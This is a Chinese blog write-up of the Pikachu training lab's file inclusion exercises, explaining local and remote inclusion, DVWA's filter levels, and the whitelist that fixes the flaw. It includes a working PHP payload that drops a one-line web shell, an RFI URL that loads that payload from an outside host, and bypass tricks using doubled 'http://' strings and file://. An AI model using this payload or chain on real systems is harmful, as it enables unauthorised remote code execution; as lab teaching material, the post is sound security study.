pikachu——Files Inclusion(文件包含漏洞)

概述:

在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能。比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调用的时候直接在文件头中写上一句 <?php include function.php?>就可以调用函数。

但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件(代码)。

分为: 本地文件包含 和 远程文件包含 

 

本地文件包含:

我们在 pikachu 平台上先对本地文件包含进行测试,

 

 

 

 

可以看到是 传了一个文件名到后台,后台会指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)。

 

 

 

我们观察源码:没有进行限制,也没有设置白名单。

 

 

 

远程文件包含:

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。

远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:

allow_url_fopen = on

allow_url_include = on       如图所示

 

 

 在 Pikachu 上,远程文件包含这里,同样是通过传递一个文件名进行包含的

 

 

 

我们把它改成一个攻击者服务器上的恶意代码。再/WWW/pikachu/下新建一个yijuhua.txt文件,内容为:

 

 

<?php
$myfile = fopen("yijuhua.php", "w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

 

然后把 filename 后面的参数改成远程文件的地址,http://192.168.35.132/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.35.132/pikachu/yijuhua.txt&submit=提交

提交之后我们的远程服务器上会多出一个文件,

 

 

 

 这时候我们就可以利用我们上传的 php 文件进行相关的操作:http://192.168.35.132/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig

比如用菜刀进行连接,因为这是get型,可以直接再url中输入命令对其进行控制。

 

 

这里的文件包含漏洞里DVWA也有,防护的情况也多一点点。

比如:

1.增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。

但是还是不安全的,因为可以使用双写绕过替换规则。例如page=htthttp://p://时,str_replace函数会将http://删除,于是page=http://,成功执行远程命令。

2.使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

看似安全,我们依然可以利用file协议绕过防护策略

3.最后使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2020-03-22 14:18  戚源  阅读(403)  评论(0编辑  收藏  举报